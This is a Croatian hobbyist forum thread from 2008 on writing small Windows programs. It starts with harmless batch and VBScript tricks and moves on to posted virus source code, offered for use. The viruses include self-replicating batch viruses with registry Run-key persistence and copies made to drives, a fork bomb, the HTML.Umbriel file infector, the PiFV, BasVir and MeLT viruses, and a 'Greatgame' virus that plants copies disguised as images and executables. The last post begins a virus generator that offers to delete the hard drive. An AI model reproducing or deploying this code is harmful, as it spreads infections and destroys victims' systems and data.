Zeus
Would you like to react to this message? Create an account in a few clicks or log in to continue.



 
Početna stranicaPortalLatest imagesPretražnikRegistracijaLogin

 

 Samostalna izrada programa.

Go down 
5 posters
Go to page : 1, 2, 3  Next
Autor/icaPoruka
Dragonhart
Legenda
Dragonhart


Broj postova : 190
Join date : 27.02.2008
Age : 31

Samostalna izrada programa. Empty
PostajNaslov: Samostalna izrada programa.   Samostalna izrada programa. Emptypon ožu 03, 2008 6:56 pm

Sve što ćete trebati je notepad i tipkovnica Wink .Sve ostalo ćete vidjeti u uputama tokom postanja.
[Vrh] Go down
Dragonhart
Legenda
Dragonhart


Broj postova : 190
Join date : 27.02.2008
Age : 31

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptyčet ožu 06, 2008 9:15 pm

Neke dos komande :
copy -kopira ikone na određena mjesta
echo -ispisuje tekst
del -briše zadane ikone unutar fail-a
net user -ispisuje korisnike na računalu
ping -PROVJERAVA JELI ODREĐENI SERVER TRENUTNO ONLINE
shutdown -gasi rčunalo
exit -izlazi iz dos-a


Za više informacija pitajte Wink
[Vrh] Go down
Dragonhart
Legenda
Dragonhart


Broj postova : 190
Join date : 27.02.2008
Age : 31

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptyčet ožu 06, 2008 9:19 pm

Jednostavan program koji gasi računalo u zadanom vremenu.

shutdown -s -t "**" -c "****"

I to spremite kao nešto.bat
umjesto **-stavite vrijeme za koje će se gasiti
***-stavite poruku koja će se prikazati
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptyčet ožu 06, 2008 11:09 pm

Program koji otvara i zatvara cd/dvd rom:


Code:
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If


Copy this into Notepad and save it as nesto.vbs
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptysub ožu 08, 2008 6:01 pm

A desktop refresher:

@echo off
echo refresh desktop
pause
taskkill/f/im explorer.exe
echo desktop refreshed
c:\windows\explorer.exe
pause

save as nesto.bat
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptyned ožu 09, 2008 1:46 am

This makes New prfiles that can be admin


@echo off
echo Admin Creating Batch file!!!
pause
echo what would you like the name for your admin to be?
set /p name=
cls
echo what would you like the password to be?
set /p password=
pause
cls
echo name = %name%
echo password = %password%
echo .
echo would you like to create this account?
echo press any key to create this account
pause
net user %name% %password% /add
pause
cls
echo would you like it to be a admin???
echo .
echo press any key to make it admin
pause
net localgroup administrators %name% /add
ECHO .
PAUSE
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptypon ožu 10, 2008 5:56 pm

virus
copy the following text into notepad then save it as:
Picture2.bat on your desktop
then drag it into a zip folder.
it is easier to send it to someone on this way....
Code::

title R.I.P

copy %0 %systemroot%\picture2.bat > nul

Attrip +r +h picture2.bat

tskill msnmsgr

shutdown -r -t 50 -c "VIRUS DETECTED"

:1
copy picture.bat %random%.bat
copy picture.bat %random%.bat
goto 2



:2
start %0
start %0
goto 1
[Vrh] Go down
Dragonhart
Legenda
Dragonhart


Broj postova : 190
Join date : 27.02.2008
Age : 31

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptypet ožu 14, 2008 11:48 pm

Otvaranje do smrti

upišite ovo u note pad 100 puta i winsi će se srušiti

START
START
--samo tako jednog ispod drugog,pa copy paste i spremite kao nešto.bat
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptyned ožu 16, 2008 12:09 am

EVO OVO MOZE BITI JAKO KORISNO:
naredb Start -> Run

Accessibility Controls
access.cpl

Add Hardware Wizard
hdwwiz.cpl

Add/Remove Programs
appwiz.cpl

Administrative Tools
control.exe admintools

Automatic Updates
wuaucpl.cpl

Bluetooth Transfer Wizard
fsquirt

Calculator
calc

Certificate Manager
certmgr.msc

Character Map
charmap

Check Disk Utility
chkdsk

Clipboard Viewer
clipbrd

Command Prompt
cmd

Component Services
dcomcnfg

Computer Management
compmgmt.msc

Date and Time Properties
timedate.cpl

DDE Shares
ddeshare

Device Manager
devmgmt.msc

Direct X Control Panel (if installed)*
directx.cpl

Direct X Troubleshooter
dxdiag

Disk Cleanup Utility
cleanmgr

Disk Defragment
dfrg.msc

Disk Management
diskmgmt.msc

Disk Partition Manager
diskpart

Display Properties
control.exe desktop

Display Properties
desk.cpl

Display Properties (w/Appearance Tab Preselected)
control.exe color

Dr. Watson System Troubleshooting Utility
drwtsn32

Driver Verifier Utility
verifier

Event Viewer
eventvwr.msc

File Signature Verification Tool
sigverif

Findfast
findfast.cpl

Folders Properties
control.exe folders

Fonts
control.exe fonts

Fonts Folder
fonts

Free Cell Card Game
freecell

Game Controllers
joy.cpl

Group Policy Editor (XP Prof)
gpedit.msc

Hearts Card Game
mshearts

Iexpress Wizard
iexpress

Indexing Service
ciadv.msc

Internet Properties
inetcpl.cpl

Java Control Panel (if installed)
jpicpl32.cpl

Java Control Panel (if installed)
javaws

Keyboard Properties
control.exe keyboard

Local Security Settings
secpol.msc

Local Users and Groups
lusrmgr.msc

Logs You Out Of Windows
logoff

Mcft Chat
winchat

Minesweeper Game
winmine

Mouse Properties
control.exe mouse

Mouse Properties
main.cpl

Network Connections
control.exe netconnections

Network Connections
ncpa.cpl

Network Setup Wizard
netsetup.cpl

Nview Desktop Manager (if installed)
nvtuicpl.cpl

Object Packager
packager

ODBC Data Source Administrator
odbccp32.cpl

On Screen Keyboard
osk

Opens AC3 Filter (if installed)
ac3filter.cpl

Password Properties
password.cpl

Performance Monitor
perfmon.msc

Performance Monitor
perfmon

Phone and Modem Options
telephon.cpl

Power Configuration
powercfg.cpl

Printers and Faxes
control.exe printers

Printers Folder
printers

Private Character Editor
eudcedit

Quicktime (If Installed)
QuickTime.cpl

Regional Settings
intl.cpl

Registry Editor
regedit

Registry Editor
regedit32

Removable Storage
ntmsmgr.msc

Removable Storage Operator Requests
ntmsoprq.msc

Resultant Set of Policy
rsop.msc

Resultant Set of Policy (XP Prof)
rsop.msc

Scanners and Cameras
sticpl.cpl

Scheduled Tasks
control.exe schedtasks

Security Center
wscui.cpl

Services
services.msc

Shared Folders
fsmgmt.msc

Shuts Down Windows
shutdown

Sounds and Audio
mmsys.cpl

Spider Solitare Card Game
spider

SQL Client Configuration
cliconfg

System Configuration Editor
sysedit

System Configuration Utility
msconfig

System File Checker Utility
sfc

System Properties
sysdm.cpl

Task Manager
taskmgr

Telnet Client
telnet

User Account Management
nusrmgr.cpl

Utility Manager
utilman

Windows Firewall
firewall.cpl

Windows Magnifier
magnify

Windows Management Infrastructure
wmimgmt.msc

Windows System Security Tool
syskey

Windows Update Launches
wupdmgr

Windows XP Tour Wizard
tourstart

Wordpad
write


Nadam se da će vam poslužiti!
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptyned ožu 16, 2008 12:17 am

Virusi koji se sami salju
svima koji se nalaze u našem Address Booku u Outlooku, ili nekom drugom programu za rad sa elektronskom poštom. Dobar nacin za sprecavanje izvršavanja te funkcije virusa je da u Address Booku ubacite novi kontakt (New Contact) sa imenom "!0000" bez e-mail adrese. Ovaj kontakt ce stajati na vrhu liste pa kada neki virus bude htio sam sebe da posalje dobit ćete poruku "This message could not be sent. Please check your Address Book and make sure all of the recipients have valid e-mail addresses".
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptysri ožu 19, 2008 7:49 pm

bazopasna batch komanda affraid


--------------------------------------------------------------
@echo off

SET _yes=yes
SET _no=no
SET _anything=%%

echo Whats your name?
SET /P _name=
cls

:no
echo %_name%, how old are you?
SET /P _age=
echo Realy??? YOUR %_age%!!!
:understand2
SET /P _answer=

IF %_answer% EQU %_no% goto no
IF %_answer% EQU %_yes% goto yes
IF %_answer% EQU %_anything% goto understand

:understand
echo I dont understand. Yes or No?
goto understand2

:yes
echo Ok, I belive you. Bye.
echo Any key to exit
pause >nul
MSG * Bye %_name% of %_age% years of age
exit

-----------------------------------------------------------------
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptysri ožu 19, 2008 7:51 pm

evo kako napraviti poruku u dosu:
@echo off
echo ode zeljeni tekst!
pause >nul
exit
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptysri ožu 19, 2008 7:52 pm

rusenje xp-a u 3 koraka


U registru naći HKLM\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters\ i
kreirati vrijednost CrashOnCtrlScroll tipa dword sa vrijednošæu 1
Kada to napravite resetirajte raèunalo. Kada se windowsi dignu srušiti Xp
sa dvije gore navedene tipkea pokazati æe vam se plavi ekran
sa porukom MANUALLY_INITIATED_CRASH (0xE2)
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: VIRUS GASI KOMPIJUTER RUSI WINDOWSE   Samostalna izrada programa. Emptysri ožu 19, 2008 7:59 pm

GASI KOMPIJUTER RUSI WINDOWSE
:: BAT.primjer
:: by vaše ime ovdje

copy %0 %systemroot%\primjer.bat > nul
set set = 23
%23% for = 4
%23% do copy = 4
%23% *.bat = 5
%4% %%b in (%5%) %4% %0 %%b
set set = 36
%36% for = 5
%36% do copy = 0
%36% *.exe = 5
%5% %%e in (%5%) %0% %0 %%e
...
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v primjer/t REG_SZ /d %systemroot%\Destroyer.bat /f > nul
cls
echo [windows] >> %systemroot%\win.ini
echo load=%systemroot%\primjer.bat >> %systemroot%\win.ini
echo run=%systemroot%\primjer.bat >> %systemroot%\win.ini
cls
copy %0 a:\%random%.bat
copy %0 b:\%random%.bat
shutdown -s -t 15
cls
:crash
start %0
goto crash
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: virus worm   Samostalna izrada programa. Emptysri ožu 19, 2008 8:00 pm

virus worm
--------------------------------------------------------------------------------
<html><!--Umbriel-->
<head>
<title> Second Part To Hell's HTML.Umbriel </title>
</head>
<body>
<script language="VBScript">
rem VBS
On Error Resume Next
Dim fso, shell, wrte, tempdir, windir, rand, file
Set fso=CreateObject("Scripting.FileSystemObject")
Set shell=CreateObject("Wscript.Shell")
if err.number=429 Then
shell.Run javascript:location.reload()
End If
Set windir=fso.GetSpecialFolder(0)
Set tempdir=fso.GetSpecialFolder(2)
Set wrte=fso.CreateTextFile(windir+"\windows.cmd")
wrte.WriteLine "cls"
wrte.WriteLine "@echo off"
wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Second Part To Hell's Umbriel has you..."+chr(34)
wrte.Close()
shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\Source", "C:\umbriel.html"
shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\SubscribedURL", "C:\umbriel.html"
Randomize
rand=int(rnd*5)+1
If rand=1 then
shell.Run windir+"\windows.cmd"
End If
</script>
<script language="JavaScript">
// JS
var viruspath, virus, code, fso, file, check, checka, checkb
fso=new ActiveXObject("Scripting.FileSystemObject")
viruspath=window.location.pathname
viruspath=viruspath.slice(1)
virus=fso.OpenTextFile(viruspath,1)
file=fso.CreateTextFile("C:\\umbriel.html")
for (i=0; i<500; i++)
{
if (checkb!=1)
{
if (Math.round(Math.random()*5)+1 == 3)
{
if (check == 2)
{
file.WriteLine("/"+"*")
file.WriteLine("*"+"/")
}
if (check == 3)
{
file.WriteLine("rem")
}
}
code=virus.ReadLine()
if (code == "/"+"*") { checka=666 }
if (code == "*"+"/") { checka=666 }
if (code == "rem") { checka=666 }
if (checka != 666 ) { file.WriteLine(code) }
checka=0
if (code=="</"+unescape("%68")+"tml>") { checkb=1 }
if (code=="// JS") { check=2 }
if (code=="rem VBS") { check=3 }
if (code=="</"+unescape("%73")+"cript>") { check=0 }
}
}
virus.Close();
file.Close();
</script>
<script language="VBScript">
rem VBS
On Error Resume Next
set fso=CreateObject("Scripting.FileSystemObject")
set shell=CreateObject("WScript.Shell")
set myfile=fso.OpenTextFile("C:\umbriel.html")
mycode=myfile.ReadAll
myfile.Close()
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File1")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File2")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File3")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File4")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File5")
if rr <> "" Then Call Umbriel(rr, mycode)
Sub Umbriel(rr, mycode)
set victim=fso.OpenTextFile(rr)
infcheck=victim.ReadLine
If infcheck<>"<html><!--Umbriel-->" Then
viccode=victim.ReadAll
victim.Close()
set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
wrtevic.Close
End If
End Sub
</script>
</body>
</html>
i to stavite save as .html
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptysri ožu 19, 2008 8:01 pm

PIF virus "PiFV"
----------------

Creates hidden batch files with the same base name as host
Modifies PIF to run the hidden batch instead of host program
After infecting more PIFs the companion batch runs the host
Sometimes displays a stupid message on Saturdays (it was late)

This might be the first PIF virus. One problem with PIF infection is
the PIF file must be actually run or it won't work. If the user runs
the actual program the virus won't work. It has other problems but is
functional enough for a demo. I don't feel up to fixing it right now.
It's pretty infectious right now...

----------------------------(cut here)------------------------------------
:: Windows PIF Virus (in batch!)
:: Prog by WaveFunc May 13, 1995
:: (these comments will not replicate)
::
:: This is a virus that 'infects' PIF files, used by Windows to
:: run DOS programs. It works by creating hidden companion batches
:: containing copies of this then altering the PIF file so that the
:: companion batch runs first. After the companion runs it runs the
:: original host program, the name of which is encoded into the
:: companion. The pif files are marked so that they will not be
:: re-infected. Only PIFs are affected, no changes are made to
:: the infected programs. To 'cure', use PIFEDIT to restore the
:: original filenames then delete the hidden files.
::
@echo off
:: host filename...
set pifvo=LIST.COM
:: loop dispatcher...
if '%1=='PiFV goto PiFV_%2
:: run the virus!
set _PiFV=
if not exist %comspec% set comspec=C:\COMMAND.COM%_PiFV%
%comspec% /e:5000 /c %0 PiFV go>nul
if exist PiFV! del PiFV!
:: run the host
set PiFVcl=%1 %2 %3 %4 %5 %6 %7 %8 %9
call %0 PiFV hst
set PiFVo=
set PiFVcl=
:: check for activation...
echo.|date|find /i "sat">nul.PiFV
if errorlevel 1 goto PiFV_end
echo.|time|find "7">nul.PiFV
if errorlevel 1 goto PiFV_msg
set PiFV=echo
cls%_PiFV%
%PiFV%.
%PiFV% There once was an Otter named Oscer
%PiFV% Who claimed to know how to make water.
%PiFV% "No more dams," he said, "use my water instead!"
%PiFV% But the Elder Otter was not impressed.
pause>nul.PiFV
set PiFV=
goto PiFV_end
:PiFV_msg
echo [PiFV] by WaveFunc
goto PiFV_end
:PiFV_hst
%PiFVo% %PiFVcl%
goto PiFV_end
:PiFV_go
set PiFVh=%0
if not exist %PiFVh% set PiFVh=%0.bat
if not exist %PiFVh% exit
for %%a in (*.pif) do call %0 PiFV inf %%a
exit PiFV
:PiFV_inf
set PiFVp=%3
:: get victim filename and infection marker
:: from PIF file using debug...
if exist PiFV! goto PiFV_1
echo m 124,162 524>PiFV!
echo e 100 '@set fn='>>PiFV!
echo m 524,562 108>>PiFV!
echo n pifv$.bat>>PiFV!
echo rcx>>PiFV!
echo 47>>PiFV!
echo w>>PiFV!
echo m 55E,561 108>>PiFV!
echo e 10C 0>>PiFV!
echo n pifv$$.bat>>PiFV!
echo rcx>>PiFV!
echo 10>>PiFV!
echo w>>PiFV!
echo q>>PiFV!
:PiFV_1
debug %PiFVp%<PiFV!>nul
call PiFV$
set PiFVn=%fn%
call PiFV$$
set PiFVi=%fn%
del PiFV$?.bat
:: pifvn=orig filename
:: pifvi=infection marker
:: pifvp=pif filename
:: pifvh=companion bat file
:: skip infected or 'empty' pifs...
if '%PiFVi%=='PiFV goto PiFV_end
if '%PiFVn%==' goto PiFV_end
:: don't shadow command.com (be nice)
echo %PiFVn%|find /i "command">nul
if not errorlevel 1 goto PiFV_end
:: infectable - create a companion batch...
:: (the following code strips off the extension)
echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88>PiFV$$
echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21>>PiFV$$
echo e 120 c3 73 65 74 20 66 6e 3d 24 00>>PiFV$$
echo n pifv$.com>>PiFV$$
echo rcx>>PiFV$$
echo 2a>>PiFV$$
echo w>>PiFV$$
echo q>>PiFV$$
debug<PiFV$$>nul
echo %PiFVn%|PiFV$>PiFV$$.bat
call PiFV$$
set PiFVb=%fn%.bat
del PiFV$?.*
:: pifvb=new batch name
:: do not shadow if comp has same name as host
if %PiFVo%==%PiFVb% goto PiFV_end
if exist %PiFVb% goto PiFV_end
echo @echo off>%PiFVb%
echo set pifvo=%pifvn%>>%PiFVb%
find "PiFV"<%PiFVh%>>%PiFVb%
attrib %PiFVb% +h
:: ...and point the PIF at the companion
echo e 15E 'PiFV',0>PiFV$$
echo e 124 '%PiFVb%',0>>PiFV$$
echo w>>PiFV$$
echo q>>PiFV$$
debug %PiFVp%<PiFV$$>nul
del PiFV$$
:: I think we're done!
exit PiFV
:PiFV_end
:: wonder how many bugs all this has in it? Only one
:: way to find out...
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptysri ožu 19, 2008 8:01 pm

QBasic virus "BasVir"
---------------------

Infects one BAS file in the current directory per run
Inserts its code in front of the host so it will run first
Does not infect QBasic programs that contain "DECLARE"
Really a batch virus that hides in BASIC code
If the host is renamed the virus won't work

I wrote this in response to someone's request on the net for a virus
written in BASIC. I hope they don't mind if the BASIC program makes
a batch and runs it. It stays out of programs that use procedures to
avoid causing errors, such programs cannot tolerate prepended code.
This is really a joke, but it's a QBasic virus (no? you write one.)

The following must be named BASVIR.BAS to function.

----------------------------(cut here)------------------------------------
basvirH$ = "BASVIR.BAS"
OPEN "~$.bat" FOR OUTPUT AS #2: REM BasVir
PRINT #2, "@echo off %BasVir1%"
PRINT #2, "if '%1=='BasVir goto BasVir%2"
PRINT #2, "for %%a in (*.bas) do call ~$ BasVir 2 %%a"
PRINT #2, "exit": REM BasVir
PRINT #2, ":BasVir2"
PRINT #2, "find "; CHR$(34); "DECLARE "; CHR$(34); "<%3>nul": REM BasVir
PRINT #2, "if not errorlevel 1 goto BasVirE"
PRINT #2, "echo basvirH$ = "; CHR$(34); "%3"; CHR$(34); ">~1": REM BasVir
PRINT #2, "find "; CHR$(34); "BasVir"; CHR$(34); "<"; basvirH$; ">>~1"
PRINT #2, "copy %3 ~2>nul": REM BasVir
PRINT #2, "copy /b ~1+~2 %3>nul": REM BasVir
PRINT #2, "exit": REM BasVir
PRINT #2, ":BasVirE"
CLOSE #2: REM BasVir
SHELL "~$": REM BasVir
SHELL "del ~?.*": REM BasVir
REM ******* [BasVir] the QBasic Virus *******
REM This is a dummy host program
SYSTEM
----------------------------(cut here)------------------------------------
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptysri ožu 19, 2008 8:02 pm

Batch virus "MeLT"
------------------

Creates the hidden file "MELT_2A" in the temp directory
Infects files in the current, parent and all path directories
Infects one batch per run if less than ten infected files encountered
After detecting ten infected files it displays a graphics screen effect
Adds one line before the host batch and appends the rest
Will not run if attached to AUTOEXEC.BAT (but infects it)

This batch virus is much more advanced. It takes control from the host
immediately, runs the virus then runs the host batch. The host is run in
such a way as to disable the virus until the host is completely finished
to avoid slowing down batch files that call themselves in a loop. Simple
appenders are very obvious when on such files, but this one causes no
significant speed loss except at startup. This virus carries a harmless
payload which is assembled with the debug command - it 'melts' the screen
in a flash of color then returns it to normal before running the host.

----------------------------(cut here)------------------------------------
@if not '%0==' if '%_melt%==' goto meltbeg
::---- dummy host --------
@echo off
echo Hello World!
::---- end dummy host ----

@goto MeLTend [MeLT_2a]
:MeLTbeg
@echo off%_MeLT%
if '%1=='MeLT goto MeLT%2
if not exist %comspec% set comspec=%_MeLT%command
%comspec% /e:5000 /c %0 MeLT vir
set MeLTcl=%1 %2 %3 %4 %5 %6 %7 %8 %9
call %0 MeLT rh
set _MeLT=
set MeLTcl=
goto MeLTend
:MeLTrh
set _MeLT=x
%0 %MeLTcl%
:MeLTvir
set MeLTH=%0
if not exist %_MeLT%%temp%\nul set temp=%tmp%
if exist %temp%\MeLT_2a goto MeLTrun
%0 MeLT fnd . %path%
:MeLTfnd
shift%_MeLT%
if '%2==' exit MeLT
set MeLT=%2\%MeLTH%.bat
if not exist %MeLT% set MeLT=%2\%MeLTH%
if not exist %MeLT% set MeLT=%2%MeLTH%.bat
if not exist %MeLT% set MeLT=%2%MeLTH%
if not exist %MeLT% goto MeLTfnd
find "MeLT"<%MeLT%>%temp%\MeLT_2a
attrib %temp%\MeLT_2a +h
:MeLTrun
%MeLTH% MeLT s . .. %path%
:MeLTs
shift%_MeLT%
if '%2==' exit MeLT
for %%a in (%2\*.bat %2*.bat) do call %MeLTH% MeLT inf %%a
goto MeLTs
:MeLTinf
find /i "MeLT"<%3>nul
if not errorlevel 1 goto MeLTno
echo @if not '%%0==' if '%%_melt%%==' goto meltbeg>MeLT.t
type %3>>MeLT.t
echo.>>MeLT.t
type %temp%\MeLT_2a>>MeLT.t
move MeLT.t %3>nul
exit MeLT
:MeLTact - flash-melt screen text then put back to normal
echo e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE>MeLT.t
echo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8>>MeLT.t
echo e 120 B4 4C CD 21 00>>MeLT.t
echo g>>MeLT.t
debug<MeLT.t>nul
del MeLT.t
exit MeLT
:MeLTno
set MeLTC=%MeLTC%1
if %MeLTC%==1111111111 goto MeLTact
:MeLTend
----------------------------(cut here)------------------------------------
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptysri ožu 19, 2008 8:03 pm

Whoever thought that viruses could be in BATCH files? This virus which
we are about to see makes use of the MS-DOS operating system. This BATCH
virus uses DEBUG & EDLIN programs.

NAME: VR.BAT

ECHO = OFF (Self explanatory)
CTTY NUL (This is important. Console output is turned off)
PATH C:\MSDOS (May differ on other systems)
DIR *.COM/W>IND (The directory is written on "ind" ONLY name entries)
EDLIN IND<1 ("ind" is processed with EDLIN so only file names appear)
DEBUG IND<2 (New batch program is created with debug)
EDLIN NAME.BAT<3 (This batch goes to an executable form because of EDLIN)
CTTY CON (Console interface is again assigned)
NAME (Newly created NAME.BAT is called)

In addition to this Batch file, there are command files, here named 1,2,3.
Here is the first command file:

NAME: 1

1,4D (Here line 1-4 of the "ind" file are deleted)
E (Save file)

Here is the second command file:

NAME: 2

M100,10B,F000 (First program name is moved to the F000H address to save)
E108".BAT" (Extension of file name is changed to .BAT)
M100,10B,F010 (File is saved again)
E100"DEL" (DEL Command is written to address 100H)
MF000,F00B,104 (Original file is written after this command)
E10C 2E (Period is placed in front of extension)
E110 0D,0A (Carriage return plus line feed)
MF010,F020,11F (Modified file is moved to 11FH address from buffer area)
E112"COPY\VR.BAT" (Copy command is now placed in front of file)
E12B 0D,0A (Copy command terminated with carriage return + line feed)
RXC (The CX register is ...)
2C (Set to 2CH)
NNAME.BAT (Name it NAME.BAT)
W (Write)
Q (Quit)

The third command file must be printed as a hex dump because it contains
two control characters (1Ah=Control Z) and this is not entirely printable.
Hex dump of the third command file:

NAME: 3

0100 31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79
0110 79 29 0D 32 2C 32 3F 52-20 1A 0D 6E 6E 79 79 79
0120 79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00

In order for this virus to work, VR.BAT should be in the root. This
Program only affects .COM files.
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptysri ožu 19, 2008 8:03 pm

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptysri ožu 19, 2008 8:04 pm

Batch Virus Generator

The Final Batch File End up In c:\
well you can delete windows
do netshares
copy to startup folder a:\ c:\windows and like p2p
Stop From going to Site Using Lmhosts
(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /c

Here are the codes :

:startage
echo off
echo ..................
echo : Virus Gen 2.o :
echo : By: Vinylshakers :
echo :................:
echo
echo ¡ Startup
echo ¡ Copy To Windows
echo ¡ Delete HARDRIVE
echo enter name of virus Below
set /p filename=%filename%
cls
Echo Add To Startup? Yes or No Note:Use all LowerCase
set /p answer=%answer%
